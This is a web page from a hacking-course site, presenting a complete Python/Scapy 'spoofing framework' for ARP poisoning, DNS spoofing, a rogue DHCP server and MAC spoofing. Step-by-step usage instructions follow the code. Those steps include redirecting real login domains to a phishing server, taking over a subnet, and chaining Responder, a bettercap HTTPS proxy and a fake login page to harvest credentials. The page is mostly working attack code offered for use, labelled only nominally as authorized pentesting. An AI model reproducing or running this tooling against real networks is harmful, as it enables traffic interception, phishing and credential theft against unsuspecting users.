top of page

Creating A Custom Spoofing Script (Guide)

Creating A Custom Spoofing Script (Guide) | Black Hat HQ

Creating A Custom Spoofing Script


Here's a modular spoofing framework built on Scapy. It handles ARP poisoning, DNS spoofing, MAC spoofing, and DHCP rogue server — all from one script. This is a guide on creating a custom spoofing script.


Installation


bash

sudo apt install python3-scapy python3-netifaces python3-colorama
pip3 install scapy netifaces colorama

The Script


python

#!/usr/bin/env python3
"""
Multi-Protocol Spoofing Framework
Authorized pentesting tool — ARP, DNS, DHCP, MAC spoofing
Requires: scapy, netifaces, colorama
Run as root: sudo python3 spoofer.py
"""

import argparse
import os
import sys
import signal
import time
import threading
from dataclasses import dataclass
from typing import Optional, List, Dict, Set

from scapy.all import (
    get_if_hwaddr, get_if_addr, get_if_list,
    Ether, ARP, IP, UDP, DNS, DNSQR, DNSRR,
    BOOTP, DHCP,
    sniff, send, sendp, srp, srp1,
    conf, RandMAC
)
import netifaces
from colorama import Fore, Style, init

init(autoreset=True)

# ──────────────────────────────────────────────────
# UTILITIES
# ──────────────────────────────────────────────────

def banner():
    print(f"""{Fore.CYAN}
   ╔══════════════════════════════════════════╗
   ║     MULTI-PROTOCOL SPOOFING FRAMEWORK     ║
   ║          Authorized Pentesting            ║
   ╚══════════════════════════════════════════╝{Style.RESET_ALL}
    """)

def log_info(msg):
    print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {msg}")

def log_warn(msg):
    print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")

def log_error(msg):
    print(f"{Fore.RED}[-]{Style.RESET_ALL} {msg}")

def log_spoof(msg):
    print(f"{Fore.MAGENTA}[SPOOF]{Style.RESET_ALL} {msg}")

def validate_ip(ip: str) -> bool:
    parts = ip.split(".")
    return len(parts) == 4 and all(p.isdigit() and 0 <= int(p) <= 255 for p in parts)

def get_interface_info(iface: str) -> Dict[str, str]:
    """Gather interface MAC, IP, netmask, gateway"""
    info = {
        "mac": get_if_hwaddr(iface),
        "ip": get_if_addr(iface),
        "gateway": None,
        "netmask": None,
    }
    gws = netifaces.gateways()
    default = gws.get("default", {})
    if netifaces.AF_INET in default:
        gw_iface = default[netifaces.AF_INET][1]
        if gw_iface == iface:
            info["gateway"] = default[netifaces.AF_INET][0]

    addrs = netifaces.ifaddresses(iface)
    if netifaces.AF_INET in addrs:
        for addr in addrs[netifaces.AF_INET]:
            if "netmask" in addr:
                info["netmask"] = addr["netmask"]
                break

    return info

def get_network_range(ip: str, netmask: str) -> str:
    """Convert IP/netmask to CIDR for scanning"""
    from ipaddress import IPv4Network
    network = IPv4Network(f"{ip}/{netmask}", strict=False)
    return str(network)

def enable_ip_forwarding():
    """Enable kernel IP forwarding for MITM"""
    with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
        f.write("1")
    log_info("IP forwarding enabled")

def disable_ip_forwarding():
    with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
        f.write("0")
    log_info("IP forwarding disabled")

def iptables_redirect(port: int, redirect_to: int):
    """Redirect traffic to local service (e.g., for captive portal)"""
    os.system(f"iptables -t nat -A PREROUTING -p tcp --dport {port} "
              f"-j REDIRECT --to-port {redirect_to} 2>/dev/null")
    log_info(f"iptables redirect: {port} → {redirect_to}")

def iptables_cleanup():
    os.system("iptables -t nat -F PREROUTING 2>/dev/null")
    log_info("iptables rules cleaned")

def list_interfaces():
    """Show available network interfaces"""
    print(f"\n{Fore.CYAN}Available Interfaces:{Style.RESET_ALL}")
    for i, iface in enumerate(get_if_list()):
        try:
            mac = get_if_hwaddr(iface)
            ip = get_if_addr(iface)
            print(f"  [{i}] {Fore.WHITE}{iface}{Style.RESET_ALL} - MAC: {mac} - IP: {ip}")
        except Exception:
            print(f"  [{i}] {Fore.WHITE}{iface}{Style.RESET_ALL} (no addressing)")


# ──────────────────────────────────────────────────
# ARP SPOOFING
# ──────────────────────────────────────────────────

class ARPSpoofer:
    """Bidirectional ARP poisoning between target and gateway"""

    def __init__(self, interface: str, target_ip: str, gateway_ip: str):
        self.iface = interface
        self.attacker_mac = get_if_hwaddr(interface)
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.running = False

        # Resolve MACs
        log_info(f"Resolving MAC for gateway {gateway_ip}...")
        resp = srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=gateway_ip),
                     timeout=3, iface=interface, verbose=0)
        if resp:
            self.gateway_mac = resp.hwsrc
            log_info(f"Gateway MAC: {self.gateway_mac}")
        else:
            log_error("Gateway did not respond to ARP")
            sys.exit(1)

        log_info(f"Resolving MAC for target {target_ip}...")
        resp = srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target_ip),
                     timeout=3, iface=interface, verbose=0)
        if resp:
            self.target_mac = resp.hwsrc
            log_info(f"Target MAC: {self.target_mac}")
        else:
            log_error("Target did not respond to ARP")
            sys.exit(1)

    def _poison(self):
        """Send forged ARP replies to both sides"""
        # Tell target: "I am the gateway"
        pkt_target = Ether(src=self.attacker_mac, dst=self.target_mac) / \
                     ARP(op=2, psrc=self.gateway_ip, pdst=self.target_ip,
                         hwsrc=self.attacker_mac, hwdst=self.target_mac)
        # Tell gateway: "I am the target"
        pkt_gateway = Ether(src=self.attacker_mac, dst=self.gateway_mac) / \
                      ARP(op=2, psrc=self.target_ip, pdst=self.gateway_ip,
                          hwsrc=self.attacker_mac, hwdst=self.gateway_mac)

        sendp(pkt_target, iface=self.iface, verbose=0)
        sendp(pkt_gateway, iface=self.iface, verbose=0)

    def _restore(self):
        """Restore legitimate ARP entries"""
        log_info("Restoring ARP tables...")
        # Restore target
        pkt_target = Ether(src=self.gateway_mac, dst=self.target_mac) / \
                     ARP(op=2, psrc=self.gateway_ip, pdst=self.target_ip,
                         hwsrc=self.gateway_mac, hwdst=self.target_mac)
        # Restore gateway
        pkt_gateway = Ether(src=self.target_mac, dst=self.gateway_mac) / \
                      ARP(op=2, psrc=self.target_ip, pdst=self.gateway_ip,
                          hwsrc=self.target_mac, hwdst=self.gateway_mac)

        for _ in range(5):
            sendp(pkt_target, iface=self.iface, verbose=0)
            sendp(pkt_gateway, iface=self.iface, verbose=0)
            time.sleep(0.2)
        log_info("ARP tables restored")

    def start(self, interval: float = 2.0):
        """Begin ARP spoofing loop"""
        self.running = True
        enable_ip_forwarding()
        log_spoof(f"ARP poisoning: {self.target_ip} ↔ {self.gateway_ip} (every {interval}s)")
        print(f"{Fore.YELLOW}Press Ctrl+C to stop...{Style.RESET_ALL}")

        try:
            while self.running:
                self._poison()
                time.sleep(interval)
        except KeyboardInterrupt:
            pass
        finally:
            self.stop()

    def stop(self):
        """Stop spoofing and restore ARP"""
        self.running = False
        self._restore()
        disable_ip_forwarding()


# ──────────────────────────────────────────────────
# DNS SPOOFING
# ──────────────────────────────────────────────────

class DNSSpoofer:
    """Intercept DNS queries and return spoofed responses"""

    def __init__(self, interface: str, redirect_ip: str,
                 domains: Optional[Dict[str, str]] = None,
                 wildcard: bool = False):
        self.iface = interface
        self.redirect_ip = redirect_ip
        self.domains = domains or {}
        self.wildcard = wildcard  # If True, redirect ALL queries
        self.running = False

    def _dns_handler(self, pkt):
        """Process DNS query packet, return spoofed response"""
        if not pkt.haslayer(DNS) or not pkt.haslayer(UDP):
            return
        if pkt[DNS].qr != 0:  # Not a query
            return
        if not pkt.haslayer(DNSQR):
            return

        qname = pkt[DNSQR].qname.decode("utf-8").rstrip(".")
        qtype = pkt[DNSQR].qtype

        # Only handle A records
        if qtype != 1:
            return

        # Determine if we should spoof this domain
        spoofed_ip = None
        if self.wildcard:
            spoofed_ip = self.redirect_ip
        elif qname.lower() in self.domains:
            spoofed_ip = self.domains[qname.lower()]

        if spoofed_ip is None:
            return

        # Build spoofed DNS response
        eth = Ether(src=pkt[Ether].dst, dst=pkt[Ether].src)
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
        udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)
        dns = DNS(
            id=pkt[DNS].id,
            qr=1,          # Response
            aa=1,          # Authoritative
            rd=pkt[DNS].rd,
            ra=0,
            qd=pkt[DNS].qd,
            an=DNSRR(rrname=pkt[DNSQR].qname, type=1, ttl=600, rdata=spoofed_ip)
        )

        spoof_pkt = eth / ip / udp / dns
        sendp(spoof_pkt, iface=self.iface, verbose=0)
        log_spoof(f"DNS: {qname} → {spoofed_ip} (from {pkt[IP].src})")

    def start(self):
        """Begin DNS spoofing"""
        self.running = True
        domain_list = ", ".join(self.domains.keys()) if not self.wildcard else "ALL"
        log_spoof(f"DNS spoofing: {domain_list} → {self.redirect_ip}")
        log_info("ARP spoof target first, then run DNS spoof")
        print(f"{Fore.YELLOW}Press Ctrl+C to stop...{Style.RESET_ALL}")

        try:
            sniff(iface=self.iface, filter="udp port 53",
                  prn=self._dns_handler, store=0,
                  stop_filter=lambda _: not self.running)
        except KeyboardInterrupt:
            pass
        finally:
            self.running = False
            log_info("DNS spoofing stopped")


# ──────────────────────────────────────────────────
# DHCP SPOOFING (ROGUE DHCP)
# ──────────────────────────────────────────────────

class DHCPSpoofer:
    """Rogue DHCP server — responds faster than legitimate DHCP"""

    def __init__(self, interface: str, pool_start: str, pool_end: Optional[str] = None,
                 gateway: Optional[str] = None, dns: Optional[str] = None,
                 lease_time: int = 3600):
        self.iface = interface
        self.attacker_mac = get_if_hwaddr(interface)
        self.attacker_ip = get_if_addr(interface)
        self.pool_start = pool_start
        self.pool_end = pool_end or pool_start
        self.gateway = gateway or self.attacker_ip    # Default: us as gateway
        self.dns = dns or self.attacker_ip             # Default: us as DNS
        self.lease_time = lease_time
        self.running = False
        self.leases: Dict[str, str] = {}  # MAC → IP
        self._next_ip = self._ip_to_int(pool_start)

    @staticmethod
    def _ip_to_int(ip: str) -> int:
        parts = ip.split(".")
        return (int(parts[0]) << 24) + (int(parts[1]) << 16) + \
               (int(parts[2]) << 8) + int(parts[3])

    @staticmethod
    def _int_to_ip(val: int) -> str:
        return f"{(val >> 24) & 0xFF}.{(val >> 16) & 0xFF}." \
               f"{(val >> 8) & 0xFF}.{val & 0xFF}"

    def _allocate_ip(self, client_mac: str) -> str:
        """Allocate IP from pool, reuse existing leases"""
        if client_mac in self.leases:
            return self.leases[client_mac]
        ip = self._int_to_ip(self._next_ip)
        self.leases[client_mac] = ip
        self._next_ip += 1
        # Prevent overflow past pool end
        pool_end_int = self._ip_to_int(self.pool_end)
        if self._next_ip > pool_end_int:
            self._next_ip = self._ip_to_int(self.pool_start)
        return ip

    def _dhcp_handler(self, pkt):
        """Handle DHCP discover and request packets"""
        if not pkt.haslayer(DHCP):
            return
        if not pkt.haslayer(BOOTP):
            return

        dhcp = pkt[DHCP]
        bootp = pkt[BOOTP]
        client_mac = pkt[Ether].src

        # DHCP message type
        msg_type = None
        for opt in dhcp.options:
            if isinstance(opt, tuple) and opt[0] == "message-type":
                msg_type = opt[1]
                break

        if msg_type not in [1, 3]:  # 1=Discover, 3=Request
            return

        client_ip = self._allocate_ip(client_mac)

        # Build DHCP OFFER (for Discover) or ACK (for Request)
        response_type = 2 if msg_type == 1 else 5  # 2=Offer, 5=ACK

        dhcp_options = [
            ("message-type", response_type),
            ("server_id", self.attacker_ip),
            ("subnet_mask", "255.255.255.0"),
            ("router", self.gateway),
            ("name_server", self.dns),
            ("lease_time", self.lease_time),
            ("renewal_time", self.lease_time // 2),
            ("rebinding_time", self.lease_time * 7 // 8),
            "end",
        ]

        eth = Ether(src=self.attacker_mac, dst=client_mac)
        ip_eth = IP(src=self.attacker_ip, dst="255.255.255.255")
        udp = UDP(sport=67, dport=68)
        bootp_resp = BOOTP(
            op=2,                     # BOOTREPLY
            xid=bootp.xid,
            yiaddr=client_ip,
            siaddr=self.attacker_ip,
            chaddr=bootp.chaddr,
        )
        dhcp_resp = DHCP(options=dhcp_options)

        pkt_out = eth / ip_eth / udp / bootp_resp / dhcp_resp
        sendp(pkt_out, iface=self.iface, verbose=0)

        action = "OFFER" if msg_type == 1 else "ACK"
        log_spoof(f"DHCP {action}: {client_mac} → {client_ip}")

    def start(self):
        """Begin rogue DHCP server"""
        self.running = True
        log_spoof(f"Rogue DHCP: pool {self.pool_start}-{self.pool_end} "
                  f"gateway={self.gateway} dns={self.dns}")
        print(f"{Fore.YELLOW}Press Ctrl+C to stop...{Style.RESET_ALL}")

        try:
            sniff(iface=self.iface, filter="udp and (port 67 or port 68)",
                  prn=self._dhcp_handler, store=0,
                  stop_filter=lambda _: not self.running)
        except KeyboardInterrupt:
            pass
        finally:
            self.running = False
            log_info("DHCP spoofing stopped")
            print(f"\n{Fore.CYAN}Leases issued:{Style.RESET_ALL}")
            for mac, ip in self.leases.items():
                print(f"  {mac} → {ip}")


# ──────────────────────────────────────────────────
# MAC SPOOFING
# ──────────────────────────────────────────────────

def mac_spoof(interface: str, new_mac: Optional[str] = None):
    """Change MAC address on specified interface"""
    if new_mac is None:
        new_mac = RandMAC()._fix()

    log_info(f"Changing {interface} MAC → {new_mac}")

    # Bring interface down
    os.system(f"ip link set {interface} down 2>/dev/null")

    # Change MAC
    os.system(f"ip link set {interface} address {new_mac} 2>/dev/null")

    # Bring interface up
    os.system(f"ip link set {interface} up 2>/dev/null")

    # Verify
    current_mac = get_if_hwaddr(interface)
    if current_mac.lower() == new_mac.lower():
        log_info(f"MAC successfully changed to {current_mac}")
    else:
        log_warn(f"MAC may not have changed: current={current_mac}, requested={new_mac}")

    return current_mac


# ──────────────────────────────────────────────────
# NETWORK SCANNER (ARP-based host discovery)
# ──────────────────────────────────────────────────

def arp_scan(interface: str, target_range: str) -> List[Dict[str, str]]:
    """Scan network for live hosts via ARP"""
    log_info(f"ARP scanning {target_range} on {interface}...")
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target_range),
                 timeout=3, iface=interface, verbose=0)

    hosts = []
    for _, rcv in ans:
        hosts.append({"ip": rcv.psrc, "mac": rcv.hwsrc})
        log_info(f"  {rcv.psrc} — {rcv.hwsrc}")

    return hosts


# ──────────────────────────────────────────────────
# MAIN CLI
# ──────────────────────────────────────────────────

def main():
    parser = argparse.ArgumentParser(
        description="Multi-Protocol Spoofing Framework — Authorized Pentesting",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # List interfaces
  sudo python3 spoofer.py --list

  # MAC spoofing
  sudo python3 spoofer.py --mac-spoof wlan0
  sudo python3 spoofer.py --mac-spoof wlan0 --new-mac 00:11:22:33:44:55

  # ARP spoofing (MITM)
  sudo python3 spoofer.py --arp --iface eth0 --target 192.168.1.10 --gateway 192.168.1.1

  # DNS spoofing (must ARP-spoof first in another terminal)
  sudo python3 spoofer.py --dns --iface eth0 --redirect 192.168.1.100
  sudo python3 spoofer.py --dns --iface eth0 --redirect 192.168.1.100 \\
      --domain google.com --domain facebook.com
  sudo python3 spoofer.py --dns --iface eth0 --redirect 192.168.1.100 --wildcard

  # Rogue DHCP server
  sudo python3 spoofer.py --dhcp --iface eth0 --pool 192.168.1.200-192.168.1.250

  # Scan + ARP spoof first discovered target
  sudo python3 spoofer.py --arp --iface eth0 --scan 192.168.1.0/24 --gateway 192.168.1.1
        """
    )

    parser.add_argument("--list", action="store_true", help="List network interfaces")
    parser.add_argument("--iface", "-i", help="Network interface")
    parser.add_argument("--interval", type=float, default=2.0, help="ARP spoof interval (seconds)")

    # MAC spoofing
    parser.add_argument("--mac-spoof", metavar="IFACE", help="Spoof MAC address")
    parser.add_argument("--new-mac", help="Target MAC (random if omitted)")

    # ARP spoofing
    parser.add_argument("--arp", action="store_true", help="ARP spoofing mode")
    parser.add_argument("--target", "-t", help="Target IP for ARP spoofing")
    parser.add_argument("--gateway", "-g", help="Gateway IP for ARP spoofing")

    # DNS spoofing
    parser.add_argument("--dns", action="store_true", help="DNS spoofing mode")
    parser.add_argument("--redirect", "-r", help="Redirect IP for DNS spoofing")
    parser.add_argument("--domain", "-d", action="append", help="Domain to spoof (can repeat)")
    parser.add_argument("--wildcard", action="store_true", help="Spoof ALL DNS queries")

    # DHCP spoofing
    parser.add_argument("--dhcp", action="store_true", help="DHCP spoofing mode (rogue server)")
    parser.add_argument("--pool", help="DHCP pool (start-end, e.g., 192.168.1.200-192.168.1.250)")
    parser.add_argument("--dhcp-gateway", help="DHCP gateway IP (default: attacker IP)")
    parser.add_argument("--dhcp-dns", help="DHCP DNS IP (default: attacker IP)")

    # Scanner
    parser.add_argument("--scan", help="ARP scan range (e.g., 192.168.1.0/24)")

    args = parser.parse_args()

    banner()

    # --list
    if args.list:
        list_interfaces()
        return

    # MAC spoofing
    if args.mac_spoof:
        mac_spoof(args.mac_spoof, args.new_mac)
        return

    # Require interface for everything else
    if not args.iface:
        log_error("--iface required. Use --list to see available interfaces.")
        sys.exit(1)

    # --scan only
    if args.scan and not (args.arp or args.dns or args.dhcp):
        arp_scan(args.iface, args.scan)
        return

    # --scan + --arp: scan first, then pick first target
    if args.scan and args.arp:
        hosts = arp_scan(args.iface, args.scan)
        if not hosts:
            log_error("No hosts found")
            return
        target = args.target or hosts[0]["ip"]
        gateway = args.gateway
        if not gateway:
            log_error("--gateway required")
            return
        spoofer = ARPSpoofer(args.iface, target, gateway)
        spoofer.start(interval=args.interval)
        return

    # ARP spoofing
    if args.arp:
        if not args.target or not args.gateway:
            log_error("--target and --gateway required for ARP spoofing")
            sys.exit(1)
        spoofer = ARPSpoofer(args.iface, args.target, args.gateway)
        spoofer.start(interval=args.interval)
        return

    # DNS spoofing
    if args.dns:
        if not args.redirect:
            log_error("--redirect required for DNS spoofing")
            sys.exit(1)
        domains = {}
        if args.domain:
            for d in args.domain:
                domains[d.lower()] = args.redirect
        spoofer = DNSSpoofer(args.iface, args.redirect, domains, args.wildcard)
        spoofer.start()
        return

    # DHCP spoofing
    if args.dhcp:
        if not args.pool:
            log_error("--pool required for DHCP spoofing (e.g., 192.168.1.200-192.168.1.250)")
            sys.exit(1)
        parts = args.pool.split("-")
        pool_start = parts[0]
        pool_end = parts[1] if len(parts) > 1 else pool_start
        spoofer = DHCPSpoofer(
            args.iface, pool_start, pool_end,
            gateway=args.dhcp_gateway,
            dns=args.dhcp_dns
        )
        spoofer.start()
        return

    # No mode specified
    parser.print_help()


if __name__ == "__main__":
    # Cleanup iptables on exit
    signal.signal(signal.SIGINT, lambda s, f: (iptables_cleanup(), sys.exit(0)))
    main()

Usuage Patterns


Typical Engagement Flow


1. Recon — ARP scan the network:


bash

sudo python3 spoofer.py -i eth0 --scan 192.168.1.0/24

2. ARP spoof the target + gateway (opens MITM position):


bash

# In terminal 1 — keep running
sudo python3 spoofer.py -i eth0 --arp --target 192.168.1.105 --gateway 192.168.1.1

3. DNS spoofing (phishing / credential capture):


bash

# In terminal 2 while ARP spoof is running
sudo python3 spoofer.py -i eth0 --dns --redirect 192.168.1.100 \
    -d login.corp.local -d outlook.office365.com

4. Combined — scan, spoof first host, prep for DNS:


bash

# Terminal 1: ARP
sudo python3 spoofer.py -i eth0 --arp --scan 192.168.1.0/24 --gateway 192.168.1.1

# Terminal 2: DNS with wildcard (everything redirects to your phishing server)
sudo python3 spoofer.py -i eth0 --dns --redirect 192.168.1.100 --wildcard

5. Rogue DHCP — own the entire subnet:


bash

sudo python3 spoofer.py -i eth0 --dhcp --pool 192.168.1.200-192.168.1.250 \
    --dhcp-gateway 192.168.1.100 --dhcp-dns 192.168.1.100

Post-Spoofing: What to Do With the Position


Once ARP+DNS spoofing is active, combine with other tools:


bash

# Credential harvester (Responder)
sudo responder -I eth0 -w -v

# Bettercap HTTP/HTTPS proxy
sudo bettercap -eval "net.probe on; http.proxy on; https.proxy on"

# Your own captive portal / phishing page
python3 -m http.server 80   # Serves fake login page

# Packet capture
sudo tcpdump -i eth0 -w capture.pcap host 192.168.1.105

Enroll In Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


Master the Art!

Info

715-527-1928

www.blackhathq.com

Address

P.O. Box 126
Antigo, Wisconsin 54409

The skills/techniques/guides on this site are not for illegal/illicit use and are not condoned by
Black Hat HQ!

Best Value

Elite Hacker

$100

100

Every month

Get Access To All The Courses For A Monthly Fee

Valid until canceled

Get complete access to all courses with Elite Hacker!

Get full access to exclusive online Groups/Forums!

Best Value

Neophyte

$50

50

Every month

Get Access To All Courses $10 Or Less!

Valid until canceled

Get access to all courses $10 or under!

Get exclusive access to specific forums/groups!

Choose your pricing plan

Find one that works for you

© 2026 Black Hat HQ

bottom of page